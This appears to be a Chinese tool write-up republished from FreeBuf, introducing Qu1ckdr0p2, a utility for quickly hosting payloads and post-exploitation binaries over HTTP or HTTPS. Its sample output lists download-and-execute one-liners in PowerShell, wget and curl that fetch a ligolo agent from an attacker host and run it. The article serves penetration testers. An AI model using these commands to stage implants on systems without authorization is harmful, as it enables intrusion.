前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用Qu1ckdr0p2快速通过HTTP或HTTPS实现文件托管

如何使用Qu1ckdr0p2快速通过HTTP或HTTPS实现文件托管

作者头像
FB客服
发布2023-12-20 16:25:34
1290
发布2023-12-20 16:25:34
举报
文章被收录于专栏:FreeBuf
关于Qu1ckdr0p2

Qu1ckdr0p2是一款功能强大的文件托管工具,在该工具的帮助下,广大研究人员可以快速通过HTTP或HTTPS托管包括Payload和后渗透代码在内的任何文件。

Qu1ckdr0p2提供了别名和搜索功能,相关功能模块位于qu1ckdr0p2-tools库中。默认配置下,使用--https选项时该工具将生成一个自签名证书,,当Web服务器运行时,tun0接口会被优先使用,否则它将使用eth0接口。

common.ini文件中定义了--search和-u选项中需要使用的映射别名。

当网络服务器运行时,屏幕上会打印出几个下载地址,广大研究人员可以直接复制和粘贴使用。

工具安装

注意:当前版本的Qu1ckdr0p2仅支持通过pip工具进行安装,如果你直接将该项目源码克隆至本地的话,可能会出现一些意外问题。

首先,我们需要在本地设备上安装并配置好Python 3环境。接下来,直接使用pip3工具安装Qu1ckdr0p2:

代码语言:javascript
复制
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
(向右滑动,查看更多)

或者:

代码语言:javascript
复制
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
(向右滑动,查看更多)

工具使用

在当前工作目录下托管一个单独的文件:

代码语言:javascript
复制
$ serv serve -f implant.bin --https 443
(向右滑动,查看更多)

代码语言:javascript
复制
$ serv serve -f file.example --http 8080
(向右滑动,查看更多)

工具更新和帮助信息:

代码语言:javascript
复制
$ serv --help            

Usage: serv [OPTIONS] COMMAND [ARGS]...

  Welcome to qu1ckdr0p2 entry point.
Options:

  --debug  启用调试模式

  --help   显示工具帮助信息和退出
Commands:

  init    执行更新

  serve  托管文件
(向右滑动,查看更多)
代码语言:javascript
复制
$ serv serve --help

Usage: serv serve [OPTIONS]

  Serve files.

Options:

  -l, --list            查看别名

  -s, --search TEXT   搜索别名

  -u, --use INTEGER  使用动态数字作为别名

  -f, --file FILE        托管一个文件

  --http INTEGER     使用HTTP+自定义端口

  --https INTEGER    使用HTTPS+自定义端口

  -h, --help          显示帮助信息和退出

(向右滑动,查看更多)

代码语言:javascript
复制
$ serv init --help       

Usage: serv init [OPTIONS]

  Perform updates.
Options:

  --update            检查并下载缺失的工具组件

  --update-self        使用pip更新工具

  --update-self-test    使用开发测试,将安装不稳定的工具组件

  --help               显示帮助信息和退出
代码语言:javascript
复制
(向右滑动,查看更多)

工具更新命令:

代码语言:javascript
复制
$ serv init --update
代码语言:javascript
复制
$ serv init --update-self

从映射别名托管一个文件

-u选项要设置的映射别名数字是动态的,因此我们不需要记住指定的数字或输入工具名称:

代码语言:javascript
复制
$ serv serve --search ligolo                

[→] Path: ~/.qu1ckdr0p2/windows/agent.exe

[→] Alias: ligolo_agent_win

[→] Use: 1

[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe

[→] Alias: ligolo_proxy_win

[→] Use: 2

[→] Path: ~/.qu1ckdr0p2/linux/agent

[→] Alias: ligolo_agent_linux

[→] Use: 3

[→] Path: ~/.qu1ckdr0p2/linux/proxy

[→] Alias: ligolo_proxy_linux

[→] Use: 4

(...)
(向右滑动,查看更多)

代码语言:javascript
复制
$ serv serve --search ligolo -u 3 --http 80
[→] Serving: ../../.qu1ckdr0p2/linux/agent

[→] Protocol: http

[→] IP address: 192.168.1.5

[→] Port: 80

[→] Interface: eth0

[→] CTRL+C to quit

[→] URL: http://192.168.1.5:80/agent

[↓] csharp:

$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:

wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:

curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:

Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ Web server running
(向右滑动,查看更多)

工具运行截图

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

Qu1ckdr0p2:https://github.com/byinarie/qu1ckdr0p2

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-12-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具安装
  • 工具使用
    • 从映射别名托管一个文件
    • 工具运行截图
    • 许可证协议
    • 项目地址
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档